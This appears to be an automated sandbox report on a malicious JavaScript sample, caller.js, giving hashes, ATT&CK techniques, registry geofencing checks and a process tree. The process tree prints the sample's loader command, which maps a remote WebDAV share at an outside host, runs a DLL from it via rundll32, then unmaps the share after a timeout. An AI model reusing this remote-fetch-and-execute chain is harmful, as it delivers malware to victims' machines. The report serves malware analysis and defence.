d8b97079a169acd2113f436bef00a941f1f5d0746d90b0d8ed3f0312d754c18c

Analysis

max time kernel
96s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
01-10-2024 18:57

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General

Target

caller.js
Size

1.5MB
MD5

93f6ba457cf4546708a88012d0407c6b
SHA1

14551a86622b82de8ab6cb3dc17d3583f5210a52
SHA256

d8b97079a169acd2113f436bef00a941f1f5d0746d90b0d8ed3f0312d754c18c
SHA512

af082054c95ddf920b763947e7cdb78859eb9ca3a0261996dd53b918836d84e5b544a68e1c186fbc36cbd12c238554ef5df352900ad5d80eea513ba1321341d0
SSDEEP

24576:0t2TNX+qdOp1w8K9hcxXwcUlINc6i8OmmdLBR92w0WqXJJ15XqcyTdiG0KtX:0t2TNX+qdOpjKzcxXMiNcqSpFS1BMioX

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	net.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4540	timeout.exe

Runs net.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3984 wrote to memory of 1044	3984	wscript.exe	83
PID 3984 wrote to memory of 1044	3984	wscript.exe	83
PID 3984 wrote to memory of 4452	3984	wscript.exe	85
PID 3984 wrote to memory of 4452	3984	wscript.exe	85
PID 1044 wrote to memory of 1928	1044	cmd.exe	87
PID 1044 wrote to memory of 1928	1044	cmd.exe	87
PID 4452 wrote to memory of 4540	4452	cmd.exe	88
PID 4452 wrote to memory of 4540	4452	cmd.exe	88

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\caller.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net use W: \\5n.si@ssl\tx && C:\Windows\syswow64\rundll32 w:\f\o.dll,%random%%random%
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1044
- - C:\Windows\system32\net.exe
    net use W: \\5n.si@ssl\tx
    3⤵
    - Enumerates connected drives
    PID:1928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout 180 && net use W: /d /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4452
- - C:\Windows\system32\timeout.exe
    timeout 180
    3⤵
    - Delays execution with timeout.exe
    PID:4540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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